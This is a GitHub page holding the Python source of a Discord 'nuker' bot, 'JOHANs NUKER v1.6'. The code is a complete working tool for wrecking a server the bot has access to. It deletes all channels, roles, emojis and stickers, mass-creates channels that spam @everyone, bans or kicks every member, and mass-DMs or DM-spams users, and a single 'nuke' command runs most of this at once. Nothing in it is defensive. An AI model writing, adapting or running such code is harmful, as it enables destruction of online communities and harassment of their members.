This repository has been archived by the owner on Sep 3, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.py
693 lines (636 loc) · 25.9 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
# JOHANs NUKER | Version 1.6 | Developed by J0HAN
# IMPORTING
import discord, asyncio, random, time
from colorama import Fore as F
# CONFIG
try:
with open("config.txt") as f:
tkn=f.readline()
usrID=f.readline()
prfx=f.readline()
except:
print("Unable to locate 'config.txt' file.\n")
exit()
# TESTING
try:
print(F.RED)
bot=discord.Client(intents=discord.Intents.all())
except:
print("Please run the 'setup.bat' file.\n")
exit()
# COLOURS
err=F.RED
wrn=F.YELLOW
scs=F.GREEN
dec=F.LIGHTBLUE_EX
otr=F.CYAN
dft=F.RESET
hde=F.BLACK
# Target Mode
trgt_on=input(f"{dft}Enable Target Mode? (y/n) ")
if trgt_on=="y":
gldID=input("Target Server ID: ")
if len(gldID) > 17:
try:
int(gldID)
trgt_on=True
print(f"{scs}Target mode is now enabled!")
except:
trgt_on=False
print(f"{wrn}Invalid server ID, target mode turned off.")
else:
trgt_on=False
print(f"{wrn}Invalid server ID, target mode turned off.")
else:
trgt_on=False
print(f"{wrn}Target mode will not be enabled.")
print(hde)
# START-UP
@bot.event
async def on_ready():
global trgt_on, ctx, usr
try:
usr=await bot.fetch_user(usrID)
except:
print(f"\n{err}INVALID USER ID")
exit()
if trgt_on==True:
try:
ctx=await bot.fetch_guild(gldID)
gld=ctx
except:
print(f"\n{wrn}Invalid server ID given. Target mode disabled.")
trgt_on=False
gld="None"
else:
gld="None"
# Title
print(f"""{dec}\n
██████ █████ █████ ████ ███████████
░░██████ ░░███ ░░███ ███░ ░░███░░░░░███
░███░███ ░███ ░███ ███ ░███ ░███ {dft}┏︱Bot: {bot.user}{dec}
░███░░███░███ ░███████ ░██████████ {dft}┠︱User: {usr}{dec}
░███ ░░██████ ░███░░███ ░███░░░░░███ {dft}┠︱Server: {gld}{dec}
░███ ░░█████ ░███ ░░███ ░███ ░███ {dft}┗︱Prefix: {prfx}{dec}
█████ ░░█████ █████ ░░████ █████ █████
░░░░░ ░░░░░ ░░░░░ ░░░░ ░░░░░ ░░░░░
""")
await bot.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name=f"for {prfx}help"))
# MESSAGE RESPONDER
@bot.event
async def on_message(message):
if message.author==bot.user:
return
global ctx, sym
msg=message.content.lower()
dbg_on=True
sym="▲"
if trgt_on==False:
ctx=message.guild
if msg.endswith("--clean"):
dbg_on=False
if dbg_on==False:
sym="◄"
# Creating
async def mcp(amt, c_name, spm):
err_wait=.2
if dbg_on==True:
print(f"{dft}\n▼ Beginning mass channel ping...")
c_made=0
strt=time.time()
while c_made < amt:
try:
new_c=await ctx.create_text_channel(c_name)
c_made+=1
if dbg_on==True:
print(f"{scs}✚ Text channel created! ({c_made}/{amt})")
try:
loop1=asyncio.get_event_loop()
loop1.create_task(spam(new_c, random.randint(1,4), "@everyone " + spm))
except:
print(f"{wrn}━ Unable to begin spamming messages. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
except:
print(f"{wrn}━ Unable to create text channel. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==0.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}{sym} Mass channel ping has been finished with {c_made} channels being made. ({str(time.time()-strt)}s)")
async def mc1(amt, c_name):
err_wait=.2
if dbg_on==True:
print(f"{dft}\nMass category creation is in progress...")
c_created=0
strt=time.time()
while c_created < amt:
try:
await ctx.create_category(name=c_name)
c_created+=1
if dbg_on==True:
print(f"{scs}✚ Category created! ({c_created}/{amt})")
except:
print(f"{wrn}━ Unable to create category. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ Mass category creation has been finished with {c_created} categories being made. ({str(time.time()-strt)}s)")
async def mc2(amt, c_name):
err_wait=.2
if dbg_on==True:
print(f"{dft}\n▼ Mass text channel creation is in progress...")
c_made=0
strt=time.time()
while c_made < amt:
try:
await ctx.create_text_channel(c_name)
c_made+=1
if dbg_on==True:
print(f"{scs}✚ Text channel created! ({c_made}/{amt})")
except:
print(f"{wrn}━ Unable to create text channel. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ Mass text channel creation has been finished with {c_made} channels being made. ({str(time.time()-strt)}s)")
async def mv(amt, v_name):
err_wait=.2
if dbg_on==True:
print(f"{dft}\nMass voice channel creation is in progress...")
v_created=0
strt=time.time()
while v_created < amt:
try:
await ctx.create_voice_channel(name=v_name)
v_created+=1
if dbg_on==True:
print(f"{scs}✚ Voice channel created! ({v_created}/{amt})")
except:
print(f"{wrn}━ Unable to create voice channel. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ Mass voice channel creation has been finished with {v_created} channels being made. ({str(time.time()-strt)}s)")
async def mr(amt, r_name):
err_wait=.2
if dbg_on==True:
print(f"{dft}\n▼ Mass role creation is in progress...")
r_created=0
strt=time.time()
while r_created < amt:
try:
await ctx.create_role(name=r_name)
r_created+=1
if dbg_on==True:
print(f"{scs}✚ Role created! ({r_created}/{amt})")
except:
print(f"{wrn}━ Unable to create role. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ Mass role creation has been finished with {r_created} roles being made. ({str(time.time()-strt)}s)")
# Deleting
async def dca():
err_wait=.2
if dbg_on==True:
print(f"{dft}\n▼ Deleting all the categories...")
c_del=0
tl_c=len(ctx.categories)
strt=time.time()
for c in ctx.categories:
try:
await c.delete()
c_del+=1
if dbg_on==True:
print(f"{scs}✚ Category deleted! ({c_del}/{tl_c})")
except:
print(f"{wrn}━ Unable to delete category. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ {c_del} out of {tl_c} categories have been deleted. ({str(time.time()-strt)}s)")
async def dc():
err_wait=.2
if dbg_on==True:
print(f"{dft}\n▼ Deleting all the channels...")
c_del=0
tl_c=len(ctx.channels)
strt=time.time()
for c in ctx.channels:
try:
await c.delete()
c_del+=1
if dbg_on==True:
print(f"{scs}✚ Channel deleted! ({c_del}/{tl_c})")
except:
print(f"{wrn}━ Unable to delete channel. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ {c_del} out of {tl_c} channels have been deleted. ({str(time.time()-strt)}s)")
async def dt():
err_wait=.2
if dbg_on==True:
print(f"{dft}\n▼ Deleting all the text channels...")
t_del=0
tl_t=len(ctx.text_channels)
strt=time.time()
for t in ctx.text_channels:
try:
await t.delete()
t_del+=1
if dbg_on==True:
print(f"{scs}✚ Text channel deleted! ({t_del}/{tl_t})")
except:
print(f"{wrn}━ Unable to delete text channel. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ {t_del} out of {tl_t} text channels have been deleted. ({str(time.time()-strt)}s)")
async def dv():
err_wait=.2
if dbg_on==True:
print(f"{dft}\n▼ Deleting all the voice channels...")
v_del=0
tl_v=len(ctx.voice_channels)
strt=time.time()
for v in ctx.voice_channels:
try:
await v.delete()
v_del+=1
if dbg_on==True:
print(f"{scs}✚ Voice channel deleted! ({v_del}/{tl_v})")
except:
print(f"{wrn}━ Unable to delete voice channel. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ {v_del} out of {tl_v} voice channels have been deleted. ({str(time.time()-strt)}s)")
async def dr():
err_wait=.2
if dbg_on==True:
print(f"{dft}\n▼ Deleting all the roles...")
r_del=0
tl_r=len(ctx.roles)
strt=time.time()
for r in ctx.roles:
try:
await r.delete()
r_del+=1
if dbg_on==True:
print(f"{scs}✚ Role deleted! ({r_del}/{tl_r})")
except:
print(f"{wrn}━ Unable to delete role. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ {r_del} out of {tl_r} roles have been deleted. ({str(time.time()-strt)}s)")
async def de():
err_wait=.2
if dbg_on==True:
print(f"{dft}\nDeleting all the emojis...")
e_del=0
tl_e=len(ctx.emojis)
strt=time.time()
for e in ctx.emojis:
try:
await e.delete()
e_del+=1
if dbg_on==True:
print(f"{scs}✚ Emoji deleted! ({e_del}/{tl_e})")
except:
print(f"{wrn}━ Unable to delete emoji. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ {e_del} out of {tl_e} roles have been deleted. ({str(time.time()-strt)}s)")
async def ds():
err_wait=.2
s_deleted=0
total_s=len(ctx.stickers)
strt=time.time()
for s in ctx.stickers:
try:
await s.delete()
s_deleted+=1
if dbg_on==True:
print(f"{scs}✚ Sticker deleted! ({s_deleted}/{total_s})")
except:
print(f"{wrn}━ Unable to delete sticker. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ {s_deleted} out of {total_s} roles have been deleted. ({str(time.time()-strt)}s)")
# Member Stuff
async def be():
err_wait=.2
print(f"{dft}\n▼ Banning everyone...")
m_banned=0
total_m=len(ctx.members)
strt=time.time()
for m in ctx.members:
try:
if m.user!=usr:
await m.ban(reason="SERVER NUKED")
m_banned+=1
if dbg_on==True:
print(f"{scs}✚ Member has been banned! ({m_banned}/{total_m})")
except:
print(f"{wrn}━ Unable to ban member. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ {m_banned} out of {total_m} members have been banned. ({str(time.time()-strt)}s)")
async def ke():
err_wait=.2
print(f"{dft}\n▼ Kicking everyone...")
m_kicked=0
total_m=len(ctx.members)
strt=time.time()
for m in ctx.members:
try:
if m.user!=usr:
await m.kick(reason="SERVER NUKED")
m_kicked+=1
print(f"{scs}✚ Member has been kicked! ({m_kicked}/{total_m})")
except:
print(f"{wrn}━ Unable to kick member. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ {m_kicked} out of {total_m} members have been kicked. ({str(time.time()-strt)}s)")
# Other
async def spam(c, amt, notice):
err_wait=.2
n_sent=0
while n_sent < amt:
try:
await c.send(notice)
n_sent+=1
except:
print(f"{wrn}━ Unable to send spam message. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
async def dmall(notice):
err_wait=.2
print(f"{dft}\n▼ DMing everyone...")
n_sent=0
total_m=len(ctx.members)
strt=time.time()
for m in ctx.members:
try:
dm=await m.create_dm()
loop1=asyncio.get_event_loop()
loop1.create_task(spam(dm, 1, notice))
n_sent+=1
if dbg_on==True:
print(f"{scs}✚ DM has been sent to member! ({n_sent}/{total_m})")
except:
print(f"{wrn}━ Unable to send DM to member. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ {n_sent} out of {total_m} members have been DMed. ({str(time.time()-strt)}s)")
async def dmspam(trgt, amt, notice):
err_wait=.2
print(f"{dft}\n▼ DM spamming target...")
n_sent=0
strt=time.time()
try:
dm=await trgt.create_dm()
except:
print(f"{wrn}━ Unable to start DMing target.")
while n_sent < amt:
try:
await dm.send(notice)
n_sent+=1
if dbg_on==True:
print(f"{scs}✚ DM has been sent to target! ({n_sent}/{amt})")
except:
print(f"{wrn}━ Unable to send DM to target. Waiting {err_wait}s to retry.")
await asyncio.sleep(err_wait)
if err_wait==.2:
err_wait=1
else:
err_wait+=.5
print(f"{dft}▲ {n_sent} out of {amt} messages have been sent to target. ({str(time.time()-strt)}s)")
async def hide():
print(f"{dft}\n◄ Hider function has been used.")
try:
await bot.change_presence(status=discord.Status.offline)
await asyncio.sleep(1)
await bot.change_presence(status=discord.Status.online)
print(f"{scs}✚ The hiding function seems to be able to work!")
while True:
try:
await bot.change_presence(status=discord.Status.offline)
await asyncio.sleep(1)
await bot.change_presence(status=discord.Status.online)
await asyncio.sleep(1)
except:
print(f"{wrn}\nHider has broke, it has now been cancelled.")
break
except:
print(f"{wrn}━ The hider doesn't seem like it's able to work.")
# COMMANDS
try:
if msg.startswith(f"{prfx}help"):
print(f"{dft}\n◄ The help command has been used.")
embed=discord.Embed(title="REAL NUKER | v1.6", description=f"""**Commands:**
* {prfx}nuke [y/n] — Automatic nuke that deletes everything, mass channel pings, mass roles, and (optionally) bans everyone
* {prfx}mcp [amount] [name] [message] — Creates channels and then sends 1-4 messages in them²
* {prfx}categories [amount] [name] — Creates categories in the amount specified
* {prfx}channels [amount] [name] — Creates a specified number of channels with the given name
* {prfx}voice [amount] [name] — Creates a number of voice channels with the name given
* {prfx}roles [amount] [name] — Creates a certain number of roles with whatever name you want
* {prfx}del — Deletes all categories, channels, voice, channels, roles, emojis, and stickers
* {prfx}cadel — Deletes all the categories
* {prfx}cdel — Deletes all the channels
* {prfx}tdel — Deletes all the text channels
* {prfx}vdel — Deletes all the voice channels
* {prfx}rdel — Deletes all the roles
* {prfx}edel — Deletes all the emojis
* {prfx}sdel — Deletes all the stickers
* {prfx}ban — Bans everyone
* {prfx}kick — Kicks everyone
* {prfx}dmall [message] — DMs every server member a message once
* {prfx}dmspam [user] [amount] [message] — Spams someone in their DMs
* {prfx}hide — Changes status from online to offline every second (may slow down other functions)*
¹If you'd like to ban everyone at the end then send the command as '{prfx}ban y'.
²No need to add everyone ping, it is automatically added at the beginning of the message with a space after.
Tip: Add '--clean' after a command to turn off logging messages in terminal (doesn't work for commands that have an asterisk after).""", colour=0x336EFF)
embed.set_author(name=message.author, icon_url=message.author.avatar)
embed.set_footer(text="Developed by R/R")
try:
await message.reply(embed=embed)
print(f"{scs}✚ Help message successfully sent!")
except:
print(f"{wrn}━ Unable to send help message.")
elif msg.startswith(f"{prfx}nuke"):
print(f"{otr}\n► NUKE BEGAN")
dbg_on=False
cmdN=msg.split(" ")
await ctx.edit(name=f"NUKED SERVER")
loop2=asyncio.get_event_loop()
loop2.create_task(dc())
loop2.create_task(dr()) # Note: Discord really doesn't like you creating/deleting a lot of roles quickly
await asyncio.gather(mcp(100, "get-nuked", "GET NUKED"), mr(50, "SERVER NUKED"), de(), ds())
if len(cmdN) > 1:
if cmdN[1]=="y":
await be()
await asyncio.wait_for(loop2, timeout=None)
dbg_on=True
print(f"{otr}\n► NUKE OVER")
# Creation
elif msg.startswith(f"{prfx}mcp"):
cmd=msg.split(" ", 3)
if len(cmd) > 3:
try:
amt=int(cmd[1])
await mcp(amt, cmd[2], cmd[3])
except:
await message.reply("Error, did you put everything in correctly?")
else:
await message.reply("Please enter all required arguments.")
elif msg.startswith(f"{prfx}categories"):
cmdC1=msg.split(" ", 2)
if len(cmdC1) > 2:
try:
amtC1=int(cmdC1[1])
await mc1(amtC1, cmdC1[2])
except:
await message.reply("Error, did you put everything in correctly?")
else:
await message.reply("Please enter all required arguments.")
elif msg.startswith(f"{prfx}channels"):
cmdC2=msg.split(" ", 2)
if len(cmdC2) > 2:
try:
amtC2=int(cmdC2[1])
await mc2(amtC2, cmdC2[2])
except:
await message.reply("Error, did you put everything in correctly?")
else:
await message.reply("Please enter all required arguments.")
elif msg.startswith(f"{prfx}voice"):
cmdV=msg.split(" ", 2)
if len(cmdV) > 2:
try:
amtV=int(cmdV[1])
await mv(amtV, cmdV[2])
except:
await message.reply("Error, did you put everything in correctly?")
else:
await message.reply("Please enter all required arguments.")
elif msg.startswith(f"{prfx}roles"):
cmdR=msg.split(" ", 2)
if len(cmdR) > 2:
try:
amtR=int(cmdR[1])
await mr(amtR, cmdR[2])
except:
await message.reply("Error, did you put everything in correctly?")
else:
await message.reply("Please enter all required arguments.")
# Deletion
elif msg.startswith(f"{prfx}del"):
print(f"\n{otr}► MASS DELELTION BEGAN")
dbg_on=False
await asyncio.gather(dc(), dr(), de(), ds())
dbg_on=True
print(f"{otr}\n► MASS DELETION OVER")
elif msg.startswith(f"{prfx}cadel"):
await dca()
elif msg.startswith(f"{prfx}cdel"):
await dc()
elif msg.startswith(f"{prfx}tdel"):
await dt()
elif msg.startswith(f"{prfx}vdel"):
await dv()
elif msg.startswith(f"{prfx}rdel"):
await dr()
elif msg.startswith(f"{prfx}edel"):
await de()
elif msg.startswith(f"{prfx}sdel"):
await ds()
elif msg.startswith(f"{prfx}ban"):
await be()
elif msg.startswith(f"{prfx}kick"):
await ke()
elif msg.startswith(f"{prfx}spam"):
print(f"{dft}\n▼ Spamming messages...")
cmdS=msg.split(" ", 2)
if len(cmdS) > 2:
try:
amtS=int(cmdS[1])
await spam(message.channel, amtS, "@everyone " + cmdS[2])
except:
await message.reply("Error, did you put everything in correctly?")
else:
await message.reply("Please enter all required arguments.")
elif msg.startswith(f"{prfx}dmall"):
cmdD1=msg.split(" ", 1)
if len(cmdD1) > 1:
await dmall(cmdD1[1])
else:
await message.reply("Please enter all required arguments.")
elif msg.startswith(f"{prfx}dmspam"):
cmdD2=msg.split(" ", 3)
if len(cmdD2) > 3:
try:
if cmdD2[1].startswith("<"):
trgt1=cmdD2[1].replace("<@", "")
trgt2=trgt1.replace(">", "")
trgt=await bot.fetch_user(trgt2)
else:
trgt=await bot.fetch_user(cmdD2[1])
amtD=int(cmdD2[2])
await dmspam(trgt, amtD, cmdD2[3])
except:
await message.reply("Error, did you put everything in correctly?")
else:
await message.reply("Please enter all required arguments.")
elif msg.startswith(f"{prfx}hide"):
await hide()
except:
await message.reply("Looks like an execution error occurred.")
try:
bot.run(tkn)
except:
print(f"{err}INVALID TOKEN GIVEN\n{dft}")